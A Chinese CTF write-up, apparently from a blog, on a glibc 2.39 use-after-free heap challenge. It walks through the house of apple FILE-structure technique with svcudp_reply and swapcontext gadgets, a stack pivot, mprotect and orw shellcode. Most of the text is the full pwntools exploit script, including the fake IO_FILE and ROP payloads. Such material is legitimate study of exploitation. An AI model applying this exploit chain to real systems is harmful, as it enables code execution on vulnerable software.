关于GLibc2.39下的house of apple利用
关于GLibc2.39下的house of apple利用
好久没有做pwn了,打hgame复健的时候遇到的GLibc2.39的uaf,本来想着套板子就能秒的,结果开了沙箱之后找不到gadget栈迁移打orw了。。好在是幽林师傅记录过orz,炒个冷饭记录下
hgame的板子题,就不放具体的ida代码了,主要是展示这两个gadget的配合
swapcontext+157
svcudp_reply+29
原本2.35下svcudp_reply+26可以直接用rdi控制rbp,再接leave ret就可以控制rsp了,到了2.39这里就只能控制r12了。

所以就要用到下面这个gadget,通过r12控制rdx,然后再通过rdx来控制各个寄存器(尤其是rsp)

那么我们的利用思路就是这样的
- fake_iolist+house of apple调用链控制rdi并调用到svcudp_reply+29
- 控制输入[rdi+0x48]=>r12,[r12+0x18]=>rax,[rax+0x28]=swapcontext+157
- 调用到swapcontext+157-->r12=>rdx,[rdx+0xe0]=>rcx(rcx要有值,否则运行到fldenv byte ptr [rcx]会卡住),[rdx+0xa0]=>rsp ,[rdx+0xc8]=ret或者pop rdi=>rcx(因为有个push rcx会抬栈)
- [rdx+0x68]=>rdi,[rdx+0x70]=>rdi,[rdx+0x88]=>rdx,然后ret到rsp上配合ROP链完成orw
原本到这里就结束了,我当时做的时候也是这么想的,结果往下写orw的时候出问题了,2.39的libc里居然没有pop rdx; ret?用pwntools搜索出来的地址的pop rdx没有执行权限,而直接用ROPgadget更是直接搜不出来。。运行完open之后rdx会清零,后面的rw不能控制rdx的话就没法用了,所以没办法,只能用唯一一次控制rdx的效果打mprotect然后写shellcode了。
另外提一嘴,之前有些板子里的fakeio中构造的lock这个地址是不存在的,但是在2.39下貌似会检测那个位置是否合法,所以就用原本iolist结构体中的地址代替了。就是这个
lock = 0x205700+libc_base
最终的exp如下:
from pwn import *
import ctypes
from PwnModules import *
from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './vuln'
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
#libc = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
#libc.srand.argtypes = [ctypes.c_uint]
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('175.27.221.240',30844)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
pause()
def dbgg():
raw_input()
menu = '>'
def add(index, size):
r.sendlineafter(menu,'1')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Size: ', str(size))
def edit(index, content):
r.sendlineafter(menu,'3')
r.sendlineafter('Index: ', str(index))
r.sendafter('Content: ',content)
def delete(index):
r.sendlineafter(menu,'2')
r.sendlineafter('Index: ', str(index))
def show(index):
r.sendlineafter(menu,'4')
r.sendlineafter('Index: ', str(index))
add(0,0x540)
add(1,0x568)
delete(0)
show(0)
libc_base=u64(r.recv(6).ljust(8,b'\x00'))-0x203b20
li(hex(libc_base))
add(2,0x568)
add(3,0x558)
add(4,0x558)
delete(1)
add(5,0x598)
delete(3)
show(3)
heap_base=u64(r.recv(6)[-6:].ljust(8,b'\x00'))-0x830
li(hex(heap_base))
add(6,0x540)
#delete(0)
add(7,0x510)
add(8,0x548)
add(9,0x548)
delete(3)
add(10,0x600)
delete(8)
#dbg()
ogs=[0xe3afe,0xe3b01,0xe3b04]
og=libc_base+ogs[1]
puts_io_all = libc_base + libc.sym['_IO_list_all']
wfile = libc_base + libc.sym['_IO_wfile_jumps']
addr=libc.symbols['puts']+libc_base
fake_io_addr = heap_base + 0x12c0
FakeIoAddr = heap_base + 0x1280
lock =0x205700+libc_base
pop_rdi = libc_base + next(libc.search(asm('pop rdi;ret;')))
pop_rsi = libc_base + next(libc.search(asm('pop rsi;ret;')))
pop_rdx = libc_base + next(libc.search(asm('pop rdx;ret;')))
r12 = libc_base + next(libc.search(asm('pop r12;ret;')))
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))
open_addr=libc.symbols['open']+libc_base
read_addr=libc.symbols['read']+libc_base
write_addr=libc.symbols['write']+libc_base
puts_addr=libc.symbols['puts']+libc_base
setcontext=libc_base+0x0000000000151990
io_all = libc_base + libc.sym['_IO_list_all']
wfile = libc_base + libc.sym['_IO_wfile_jumps']
system = libc_base+libc.sym['system']
swapcontext = libc_base+0x5814d#swapcontext+157
magic_gadget = libc_base +0x179220+29#+ libc.sym['svcudp_reply'] + 0x1d
syscall = 0x00000000000288b5+libc_base
pop_rax = libc_base + next(libc.search(asm('pop rax;ret;')))
mprotect = libc_base+libc.sym['mprotect']
edit(0,'./flag\x00\x00')
orw_addr=heap_base+0x1830
flag_addr = heap_base+0x260
sh_addr = heap_base+0xad0
pl=p64(0)+p64(leave_ret)+p64(0)+p64(puts_io_all-0x20)
pl+=p64(0)*2+p64(0)+p64(orw_addr) #chunk0+0x48
pl+=p64(0)*4
pl+=p64(0)*3+p64(lock)
pl+=p64(0)*2+p64(fake_io_addr+0xe0)+p64(0)
pl+=p64(0)*4
pl+=p64(0)+p64(wfile)
pl+=p64(0)*0x1c+p64(fake_io_addr+0xe0+0xe8) #chunk0+0xe0
pl+=p64(0)*0xd+p64(magic_gadget)
shellcode = asm('''
push 0x67616c66
push 0x2
pop rax
mov rdi,rsp
xor rdx,rdx
xor rsi,rsi
syscall
xor rax,rax
mov rdi,3
mov rdx,0x30
mov rsi,rsp
add rsi,0x100
syscall
push 1
pop rax
push 1
pop rdi
syscall
''')
pl2 = b''
pl2 = pl2.ljust(0x18,b'\x00')+p64(orw_addr+0x18)
pl2 = pl2.ljust(0x40,b'\x00')+p64(swapcontext)
pl2 = pl2.ljust(0x80,b'\x00')+p64(7)+p64(7)
pl2 = pl2.ljust(0xa0,b'\x00')+p64(orw_addr+0xf0)+p64(pop_rdi)
pl2 = pl2.ljust(0xe0,b'\x00')+p64(orw_addr+0x18)
pl2 = pl2.ljust(0xe8,b'\x00')+p64(heap_base)+p64(heap_base)+p64(pop_rsi)+p64(0x3000)+p64(mprotect)+p64(orw_addr+0x120)+b'./flag\x00\x00'
pl2 = pl2.ljust(0x120,b'\x00')+b'\x90'*8+shellcode
edit(3,pl)
edit(4,pl2)
add(11,0x610)
add(12,0x540)
dbg()
r.sendline('5')
r.interactive()
完整执行效果如下:






浙公网安备 33010602011771号